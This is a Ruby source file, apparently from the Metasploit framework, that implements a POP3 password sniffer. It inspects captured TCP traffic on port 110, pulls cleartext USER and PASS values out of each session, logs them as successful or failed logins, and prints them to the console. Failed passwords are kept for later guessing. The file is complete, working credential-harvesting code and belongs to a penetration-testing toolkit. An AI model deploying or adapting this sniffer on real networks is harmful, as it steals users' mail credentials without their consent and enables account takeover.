# Psnuffle password sniffer add-on class for pop3
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
# Also incorrect credentials are sniffed but marked
# as unsuccessful logins... (Typos are common :-) )
#
class SnifferPOP3 < BaseProtocolParser
  def register_sigs
    self.sigs = {
      :ok				=> /^(\+OK[^\n]*)\n/i,
      :err			=> /^(\-ERR[^\n]*)\n/i,
      :user			=> /^USER\s+([^\n]+)\n/i,
      :pass			=> /^PASS\s+([^\n]+)\n/i,
      :quit			=> /^(QUIT\s*[^\n]*)\n/i
    }
  end

  def parse(pkt)
    # We want to return immediatly if we do not have a packet which is handled by us
    return unless pkt.is_tcp?
    return if (pkt.tcp_sport != 110 and pkt.tcp_dport != 110)
    s = find_session((pkt.tcp_sport == 110) ? get_session_src(pkt) : get_session_dst(pkt))

    self.sigs.each_key do |k|
      # There is only one pattern per run to test
      matched = nil
      matches = nil

      if(pkt.payload =~ self.sigs[k])
        matched = k
        matches = $1
      end

      case matched
        when :ok
          # Last command was successful, in addition most servers transmit a banner with the first +OK
          case s[:last]
            when nil
              # Its the first +OK must include the banner, worst case its just +OK

              # Strip the banner, so that we don't need to do it multiple times
              # We can improve the banner by removing the +OK part
              s[:banner] = matches.strip
              s[:info]  = matches
              s[:proto] = "tcp"
              s[:name]  = "pop3"
              report_service(s)

            when :user
              # When the last command was a username login
              # We might keep track on this one in future
            when :pass
              # Perfect we get an +OK after a PASS command this means right password given :-)

              s[:proto] = "tcp"
              s[:name]  = "pop3"
              s[:extra] = "Successful Login. Banner: #{s[:banner]}"
              report_cred(
                :ip  => s[:host],
                :port => s[:port],
                :service_name => s[:name],
                :user => s[:user],
                :password => s[:pass],
                :type => :password,
                :proof => s[:extra],
                :status => Metasploit::Model::Login::Status::SUCCESSFUL
              )
              print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")

              # Remove it form the session objects so freeup
              sessions.delete(s[:session])

            when :quit
              # The session is terminated by the user just delete is as well
              sessions.delete(s[:session])
          end
          s[:last]=:ok

        when :err
          case s[:last]
            when :pass
              # Oops got a -ERR after a pass so its crap ignore the pass
              # But report it, might be helpfull for guessing :-)

              s[:proto]="pop3"
              s[:extra]="Failed Login. Banner: #{s[:banner]}"
              report_cred(
                :ip  => s[:host],
                :port => s[:port],
                :service_name => s[:proto],
                :user => s[:user],
                :password => s[:pass],
                :type => :password,
                :proof => s[:extra],
                :status => Metasploit::Model::Login::Status::INCORRECT
              )
              print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
              s[:pass]=""
          end
        when nil
          # No matches, no saved state
        else
          s[:last]=matched
          sessions[s[:session]].merge!({k => matches})
      end # end case matched
    end # end of each_key
  end # end of parse
end

